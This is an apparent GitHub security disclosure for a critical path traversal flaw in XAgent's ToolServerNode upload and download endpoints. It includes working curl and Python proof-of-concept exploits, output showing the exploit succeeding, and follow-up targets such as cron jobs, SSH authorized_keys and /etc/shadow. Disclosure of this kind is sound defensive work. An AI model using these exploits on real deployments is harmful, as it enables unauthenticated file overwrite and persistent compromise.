Skip to content

Arbitrary File Write via Path Traversal in ToolServerNode /upload_file Endpoint #420

@YLChen-007

Description

@YLChen-007

Description:

Summary

The /upload_file endpoint in ToolServer/ToolServerNode/main.py takes the user-supplied filename from the multipart upload and passes it directly into os.path.join() without any sanitization. By sending a filename containing ../ sequences (e.g. ../../tmp/pwned), an attacker can write arbitrary files to any location on the container's filesystem. Since the ToolServerNode container runs as root, this means full control over the filesystem — overwriting application code, planting cron jobs, or dropping SSH keys.

I verified this against the official production images (xagentteam/toolserver-node:latest and xagentteam/toolserver-manager:latest) pulled from Docker Hub, deployed using the project's own docker-compose.yml.

Details

In ToolServer/ToolServerNode/main.py, the upload_file function reads file.filename directly from the incoming request and uses it in os.path.join(work_directory, file_name) to build the write path:

@app.post('/upload_file')
async def upload_file(file:UploadFile):
    upload_file =  file.file.read()
    file_name = file.filename                                    # user-controlled
    work_directory = CONFIG['filesystem']['work_directory']      # /app/workspace/
    with open(os.path.join(work_directory, file_name),'wb') as f:  # path traversal here
        f.write(upload_file)
    return {"message": "Upload Success!"}

file.filename comes from the filename field in the Content-Disposition header of the multipart body. An attacker sets it to something like ../../tmp/pwned, and os.path.join("/app/workspace/", "../../tmp/pwned") resolves to /tmp/pwned.

There is no call to os.path.basename(), no ../ stripping, no os.path.realpath() check, and no allowlist validation. The path escapes the intended /app/workspace/ directory completely.

The ToolServerManager at port 8080 acts as the external-facing proxy. When /upload_file is called, the Manager's route_to_node() function (at ToolServer/ToolServerManager/main.py line 228) forwards the raw HTTP body to the ToolServerNode without inspecting or sanitizing the multipart content. So the traversal payload goes through the full production stack unchanged.

Additionally, the /download_file endpoint at line 64 of the same file has a related issue — file_path is user-controlled and joined with os.path.join(work_directory, file_path) at line 80, allowing an attacker to read arbitrary files from the container (e.g. /etc/shadow, application source code, etc.). The startswith(os.path.basename(...)) check at line 77 is trivially bypassed since it only strips the workspace directory name prefix and doesn't prevent ../ traversal.

PoC

Environment setup:

git clone https://github.com/OpenBMB/XAgent.git
cd XAgent
docker compose up -d ToolServerManager ToolServerNode db
# Wait ~30s for ToolServerManager to become healthy

Exploitation:

# 1. Get a session cookie (this spawns a ToolServerNode container)
curl -v -X POST http://127.0.0.1:8080/get_cookie
# Note the node_id from the Set-Cookie header

# 2. Upload a file with a traversal filename
echo "PWNED" > /tmp/payload.txt
curl -X POST http://127.0.0.1:8080/upload_file \
  -b "node_id=<NODE_ID_FROM_STEP_1>" \
  -F "file=@/tmp/payload.txt;filename=../../tmp/pwned"
# Returns: {"message":"Upload Success!"}

# 3. Verify the file landed outside the workspace
docker exec <NODE_CONTAINER_ID> cat /tmp/pwned
# Output: PWNED

docker exec <NODE_CONTAINER_ID> ls -la /app/workspace/
# Output: empty directory — the file never went to the intended location

Or use the Python exploit script:

import requests, io

TARGET = "http://127.0.0.1:8080"

# Step 1: spawn a ToolServerNode
resp = requests.post(f"{TARGET}/get_cookie", timeout=60)
node_id = resp.cookies.get("node_id")

# Step 2: upload with path traversal
files = {'file': ('../../tmp/pwned', io.BytesIO(b'PWNED\n'), 'application/octet-stream')}
resp = requests.post(f"{TARGET}/upload_file", files=files, cookies={"node_id": node_id})
print(resp.json())  # {"message": "Upload Success!"}

Screenshot of Evidence

Exploit script output (against production images):

[*] Target: http://127.0.0.1:8080
[*] Attack flow: Manager:8080 → /get_cookie → /upload_file (proxied to Node)

[*] Step 1: Getting session cookie from ToolServerManager...
[+] Got node_id: b2077291cea4e2e3...
[+] ToolServerNode container spawned

[*] Step 2: Sending malicious upload with filename: ../../tmp/pwned
[*] Expected write location in container: /tmp/pwned

[*] Response status: 200
[*] Response body: {"message":"Upload Success!"}

[+] =========================================
[+]  EXPLOIT SUCCESSFUL!
[+] =========================================

Independent verification inside the production container:

$ docker exec b2077291cea4 cat /tmp/pwned
PATH_TRAVERSAL_PROOF: XAgent ToolServerNode /upload_file arbitrary file write via production ToolServerManager

$ docker exec b2077291cea4 ls -la /app/workspace/
total 12
drwxr-xr-x 2 root root 4096 Nov 22  2023 .
drwxr-xr-x 1 root root 4096 Feb 22 03:47 ..

$ docker exec b2077291cea4 head -3 /app/main.py
import os
import sys
import zipfile

Production image confirmation:

$ docker ps --format "table {{.ID}}\t{{.Image}}\t{{.Status}}"
baf4147050ec   xagentteam/toolserver-node:latest      Up 8 seconds (healthy)
0fa7b77716b5   xagentteam/toolserver-manager:latest    Up 38 seconds (healthy)

Impact

This is an Arbitrary File Write vulnerability. An attacker who can reach the ToolServerManager HTTP endpoint (port 8080) can:

  • Overwrite application code (../../app/main.py) to inject backdoors
  • Write cron jobs (../../etc/cron.d/evil) for persistent RCE
  • Plant SSH keys (../../root/.ssh/authorized_keys) for direct shell access
  • Corrupt or destroy data in any filesystem path

The container runs as root, so there are no permission restrictions. Combined with the fact that /get_cookie creates sessions without authentication, any network-adjacent attacker can exploit this with zero privileges.

Affected products

  • Ecosystem: pip
  • Package name: XAgent (OpenBMB/XAgent)
  • Affected versions: all versions up to and including the latest commit (3619c25)
  • Patched versions: None

Severity

  • Severity: Critical
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Weaknesses

  • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink Description
@app.post('/upload_file')
async def upload_file(file:UploadFile):
"""
This function allows the user to upload a file to the work directory defined in configuration file.
Args:
file (fastapi.UploadFile): The file to be uploaded.
Returns:
dict: A message denoting successful upload of the file.
"""
upload_file = file.file.read()
file_name = file.filename
work_directory = CONFIG['filesystem']['work_directory']
with open(os.path.join(work_directory,file_name),'wb') as f:
f.write(upload_file)
return {"message": "Upload Success!"}
The vulnerable upload_file endpoint. file.filename (line 58) is used directly in os.path.join(work_directory, file_name) (line 60) without any sanitization, allowing path traversal to write files outside /app/workspace/.
@app.post('/download_file')
async def download_file(file_path:str=Body(...),file_type:str=Body(default='text/plain')):
"""
This function downloads a file from the work directory.
Args:
file_path (str): The path of the file to be downloaded.
file_type (str, optional): Type of the file. Defaults to 'text/plain'.
Returns:
starlette.responses.FileResponse: File response containing the requested file for user to download.
"""
work_directory = CONFIG['filesystem']['work_directory']
if file_path.startswith(os.path.basename(work_directory)):
file_path = file_path[len(os.path.basename(work_directory))+1:]
response = FileResponse(
path=os.path.join(work_directory,file_path),
filename=os.path.basename(file_path),
)
return response
The download_file endpoint with a related path traversal issue. file_path (line 65) is user-controlled and joined unsafely at line 80, allowing arbitrary file reads from the container filesystem. The startswith check at line 77 does not prevent ../ traversal.
async def route_to_node(requset:Request,*,node_id:str = Cookie(None)):
"""
Routes a request to a specific node. Fetches the node info, checks if it is valid and running. Updates latest
request time in the database and then sends a post request to the node.
Args:
request (Request): The request object containing all request information.
Returns:
Response: The response object containing all response information received from the node.
Raises:
HTTPException: If node_id is not valid or if the node is not running or not responding.
"""
# logger.info("accept node_id:",node_id)
node = await ToolServerNode.find_one(ToolServerNode.id == node_id)
if node is None:
raise HTTPException(status_code=403,detail="invalid node_id: " + str(node_id))
if node.status != "running":
raise HTTPException(status_code=503,detail="node is not running: " + str(node_id))
# update latest_req_time in db
node.last_req_time = datetime.datetime.utcnow()
await node.replace()
#post request to node
method = requset.method
headers = dict(requset.headers)
body = await requset.body()
url = "http://" + node.ip +":"+str(node.port) + requset.url.path
logger.info("Request to node: " + url)
async with httpx.AsyncClient(timeout=None) as client:
try:
response = await client.request(method,url,headers=headers,data=body)
except httpx.RequestError:
traceback.print_exc()
raise HTTPException(status_code=503, detail="node is not responding")
logger.info('Response from node: ' + str(response.status_code))
res = Response(content=response.content, status_code=response.status_code, headers=response.headers)
return res
The route_to_node() proxy function in ToolServerManager. It forwards the raw HTTP body to ToolServerNode without inspecting or sanitizing multipart content, allowing the malicious filename to pass through the production proxy.
- /upload_file
- /download_file
The Manager routing config that exposes both /upload_file and /download_file as externally proxied endpoints.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions